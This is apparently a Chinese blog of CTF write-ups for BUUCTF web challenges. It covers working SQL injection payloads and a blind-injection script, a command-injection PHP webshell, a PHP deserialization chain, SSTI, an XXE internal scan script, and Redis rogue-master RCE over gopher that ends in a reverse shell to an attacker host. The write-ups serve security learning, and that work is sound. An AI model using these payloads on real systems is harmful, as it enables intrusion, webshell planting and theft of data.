something-about-buuctf

[GXYCTF2019]BabySQli

image-20260203210525674

一个登录框直接开搞,万能密码试了不行,已经说了是sql就没着急去考虑弱口令什么的!sqlmap测出时间盲注,直接梭哈,但是太久了,而且密码貌似还是md5加密的,所以脱库的价值不大,因为貌似里面没有flag,可能就是要让我们登录给flag

image-20260203211346005

cmd5在线碰撞失败。。。。

1
select * from user where username = '$name'

也就是说,那这个sql执行的结果里面的密码来进行比对,这里我们可以通过union去控制返回的结果,只不过结果不会回显到页面

image-20260203211346005

这里只要查询结果里面的用户名是admin就会去比对密码,按照惯例第3列就是密码了,于是我们利用数组的md5返回null进行登录

1
name=1' union select 1,'admin',null#&pw[]=1

[RoarCTF 2019]Easy Java

java来咯!

image-20260204130804179

help这个链接考虑文件下载漏洞,但是要改成post请求,而且得bp去发包,反正我用hackbar不行!

WEB-INF 是Java的WEB应用的安全目录。

WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

直接去读/WEB-INF/web.xml,因为这里面定义了映射关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

可以看到/Flag这个目录对应的是com.wm.ctf.FlagController.class文件,于是我们再通过/WEB-INF/classes/这个去读

1
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

接着反编译即可

image-20260204133321326

[CISCN2019 华北赛区 Day2 Web1]Hack World

这题很明确就是sql注入,而且有过滤提示的sql注入,于是我们就可以来fuzz

image-20260205133817457

过滤了许多东西,union注入反正是不可以的了,试试布尔盲注,这个主要得关注页面的回显,发现id=1的时候回显是特殊的!虽然没有and和or了,空格也没了,但是可以写出下面的payload

1
id=if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

利用()去绕过空格的过滤,快马加鞭直接脚本走起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = "http://4dbddb56-c028-4c0b-92a9-61a56c03ab6b.node5.buuoj.cn:81/index.php"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url,data = data)
if "glzjin" in res.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
print(result)

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这玩意第一想法利用管道符逃逸,但是不行,看到两个转义的函数,就想到的我之前写的一篇文章

escapeshellarg与escapeshellcmd的弄巧成拙-CSDN博客

然后就是的,之后写入木马

1
127.0.0.1' <?=@eval($_POST[1]);?> -oN shell.phtml '

访问是下载,那么就是没解析了,怀疑两个方面,一是这个目录没执行权限,而是本来就不解析phtml

于是我加入了xff头并且把phtml改成了php这样就两个方面都考虑了,果然可以,rce拿flag即可!

[MRCTF2020]Ezpop

有点意思,好久没做pop链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

链子真的简单,关键是如何触发__toString,这里死活没想到正则那里当作了字符串,当我以为一切顺利的时候现实又给了我一巴掌,于是我本地debug发现只触发到,toString为啥?我输出了一下str发现是NULL,于是我检查了我的序列化字符一顿历程,我才知道我触发的是第二个实例的toString,那个实例里面的str就是NULL。之前没遇到过,所以最后的exp就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$b = new Test();
$c = new Modifier();
$d = new Show();
$a -> source = $d;
$d -> str = $b;
$b -> p = $c;
echo urlencode(serialize($a));

[WesternCTF2018]shrine

给了源码很明显是ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

在当前作用域将config设置为none了,然后命令执行也不行,但是设置的是当前局部作用域,我们从全局来

1
{{ url_for.__globals__['current_app'].config}}

current_app 指向的是内存中真实的 Flask 应用对象

[NPUCTF2020]ReadlezPHP

第一想法ez,尝试了system和passthru皆报500,于是本地测试也是不行,然后想错了,以为是新姿势,兴高采烈看wp,没想到果然是我想错了,直接phpinfo就好了,但是参数会影响返回的长度,所以用过assert就ok了

[SWPU2019]Web1

一个登录框,但是有注册,优先考虑登录后的漏洞

登录上去有个发布广告有个xss但是应该没啥用,但是有二次注入

1
2
3
4
5
6
7
闭合方式为',or被过来,可以用group by来判断列数
1'/**/group/**/by/**/23,'
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
mysql.innodb_table_stats用这个替代information那个表
表:1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
无列名爆字段:
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from (select/**/1,2,3/**/as/**/c/**/union/**/select*from/**/users)/**/as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

因为or没了所以采用无列名注入,参考我之前文章:从information被ban到无列名注入-CSDN博客

[NCTF2019]True XML cookbook

一个xml,可以从来个角度发现,一是前端的js,或者你直接抓包也会发现,于是尝试最基础的xxe,可以读文件,但是不知道flag在哪,然后这题考的是内网探测

1
2
/proc/net/fib_trie 更有用,但它通常只给你一个“范围”;
而 /etc/hosts 往往是空的,除非管理员手动配置过。

ok以后尽量用/proc/net/fib_trie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
from requests.exceptions import Timeout

# 目标URL
url = "http://2edd14f9-1114-42cc-9d90-1f036abfb269.node5.buuoj.cn:81/doLogin.php"

# 请求头
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0",
"Accept": "application/xml, text/xml, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/xml;charset=utf-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://2edd14f9-1114-42cc-9d90-1f036abfb269.node5.buuoj.cn:81/",
"Connection": "close",
"Referer": "http://2edd14f9-1114-42cc-9d90-1f036abfb269.node5.buuoj.cn:81/",
"Priority": "u=0"
}

for i in range(1, 255):
print(i)
# 请求体数据
data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'

try:
# 发送POST请求
response = requests.post(
url,
headers=headers,
data=data,
verify=False,
timeout=1
)
# 检查HTTP错误状态码(4xx, 5xx)
response.raise_for_status()

# 打印响应结果
print("状态码:", response.status_code)
print("响应内容:", response.text)
if "flag{" in response.text:
break

except Timeout:
print("错误: 请求超时,服务器未在指定时间内响应")

[网鼎杯 2020 玄武组]SSRFMe

以这道题来了解一下redis主从复制,因此不分析代码

image-20260218213544251

一开始考虑的是能不能写个木马进去,但是这里不行,而且告诉了你redis的密码,于是我去连接但是连接不上,应该是内网开了redis,这里考虑redis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,那么此时就可以通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据就可以通过主从复制复制到其它从redis。

只要是未禁用 SLAVEOF 命令且未授权或者知道密码,就可以打。主从复制简单来说就是一个同步功能,那么这里的思路就是我们伪造一台主redis

1
2
3
4
5
https://github.com/n0b0dyCN/redis-rogue-server
# redis-rogue-server,未授权使用

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
# Awsome-Redis-Rogue-Server,有授权使用

这里要将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

先开启一下主服务

1
python3 redis_rogue_server.py -v -path exp.so -lport 21000

然后利用gopher协议对redis进行一个利用

1
2
3
4
5
6
先set备份路径为/tmp
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

接下来就可以进行一个同步了

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520xx.xx.xx.xx%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof xx.xx.xx.xx 21000
quit

加载模块

1
2
3
4
5
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

关闭主从同步

1
2
3
4
5
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

命令执行获取flag或者反弹shell

1
2
3
4
5
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

这个是反弹shell:system.rev xx.xx.xx.xx 6666

总结

算是了解了主从复制这么个东西,然后再说说遇到的问题吧,首先是buu的靶机不出网的问题,然后官方是给了解决办法的搭建个隧道,然后另外就是我的工具再kali然后隧道是和物理机搭建的,但是我不想下载东西了,于是了解到可以使用流量转发

1
netsh interface portproxy add v4tov4 listenport=21000 listenaddress=ip connectport=21000 connectaddress=kaliip

image-20260218220142273

然后就转发到kali就去,ok不错!